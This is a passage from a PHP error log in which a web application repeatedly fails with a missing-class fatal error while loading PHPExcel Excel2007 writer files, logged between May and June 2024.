'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [20-May-2024 14:33:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [20-May-2024 14:39:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [20-May-2024 15:00:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [20-May-2024 15:01:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 15:04:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [20-May-2024 15:35:57 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 15:38:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [20-May-2024 16:38:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [20-May-2024 16:40:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 18:00:12 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 18:04:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 18:56:20 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 19:00:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 19:29:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 20:24:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 20:48:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 20:55:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 21:56:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 22:04:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [20-May-2024 22:40:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [20-May-2024 23:24:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [21-May-2024 00:21:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [21-May-2024 00:40:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [21-May-2024 01:09:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [21-May-2024 02:17:23 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [21-May-2024 04:17:26 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [21-May-2024 05:01:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [21-May-2024 06:33:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [29-May-2024 15:31:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [29-May-2024 19:58:17 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [29-May-2024 20:15:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [29-May-2024 21:12:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [29-May-2024 21:46:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [29-May-2024 22:28:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [29-May-2024 23:34:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [29-May-2024 23:35:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [29-May-2024 23:35:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [29-May-2024 23:45:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [29-May-2024 23:45:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [29-May-2024 23:45:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [29-May-2024 23:45:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [30-May-2024 00:03:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [30-May-2024 00:04:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php on line 28 [30-May-2024 00:19:19 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [30-May-2024 01:02:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [30-May-2024 08:12:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [30-May-2024 08:25:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [30-May-2024 09:31:28 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [30-May-2024 09:40:19 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php on line 28 [30-May-2024 09:48:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [30-May-2024 14:03:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [10-Jun-2024 20:24:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [10-Jun-2024 20:26:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [11-Jun-2024 10:14:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [11-Jun-2024 23:00:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [11-Jun-2024 23:01:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [12-Jun-2024 06:49:16 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [13-Jun-2024 01:18:16 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [13-Jun-2024 01:19:25 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [17-Jun-2024 01:21:56 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [17-Jun-2024 01:21:57 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [17-Jun-2024 01:21:57 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [17-Jun-2024 01:21:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [17-Jun-2024 01:21:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [17-Jun-2024 01:21:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [17-Jun-2024 01:22:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [17-Jun-2024 01:22:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [17-Jun-2024 01:22:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php on line 28 [17-Jun-2024 01:22:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [17-Jun-2024 01:22:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [17-Jun-2024 01:22:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [17-Jun-2024 01:22:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [19-Jun-2024 13:45:49 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [19-Jun-2024 14:01:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [19-Jun-2024 16:54:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [20-Jun-2024 01:48:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [20-Jun-2024 11:02:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [20-Jun-2024 16:25:23 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [20-Jun-2024 16:32:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [20-Jun-2024 19:22:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [23-Jun-2024 15:14:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [23-Jun-2024 15:14:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [23-Jun-2024 15:14:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [23-Jun-2024 15:14:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [23-Jun-2024 15:14:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [23-Jun-2024 15:14:32 UTC] PHP Fatal error: 